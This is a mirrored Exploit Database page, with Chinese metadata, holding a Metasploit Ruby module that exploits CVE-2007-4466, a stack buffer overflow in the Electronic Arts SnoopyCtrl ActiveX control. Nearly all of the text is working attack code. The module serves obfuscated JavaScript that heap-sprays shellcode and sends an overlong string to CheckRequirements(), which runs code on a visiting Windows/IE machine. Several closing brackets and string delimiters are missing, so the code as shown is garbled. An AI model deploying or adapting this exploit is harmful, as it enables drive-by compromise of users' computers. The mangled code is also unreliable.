Electronic Arts SnoopyCtrl – ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
142 阅读

作者： Metasploit

日期： 2010-11-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16609/

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# $Id: ea_checkrequirements.rb 10998 2010-11-11 22:43:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Electronic Arts SnoopyCtrl ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Electronic Arts SnoopyCtrl

ActiveX Control (NPSnpy.dll 1.1.0.36. When sending a overly long

string to the CheckRequirements() method, an attacker may be able

to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 10998 $',

'References' =>

[

[ 'CVE', '2007-4466' ],

[ 'OSVDB', '37723'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]

'DisclosureDate' => 'Oct 8 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or al, 12").encode_string * 2)

js = %Q|

try {

var evil_string = "";

var index;

var vulnerable = new ActiveXObject('SnoopyX.SnoopyCtrl.1');

var my_unescape = unescape;

var shellcode = '#{shellcode}';

#{js_heap_spray}

sprayHeap(my_unescape(shellcode), 0x0c0c0c0c, 0x40000);

for (index = 0; index < 5000; index++) {

evil_string = evil_string + my_unescape('#{ret}');

}

vulnerable.CheckRequirements(evil_string);

} catch( e ) { window.location = 'about:blank' ; }

opts = {

'Strings' => true,

'Symbols' => {

'Variables' => [

'vulnerable',

'shellcode',

'my_unescape',

'index',

'evil_string',

]

}

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

js.update_opts(js_heap_spray.opts)

js.obfuscate()

content = %Q|<html>

<body>

<script><!--

#{js}

//</script>

</body>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end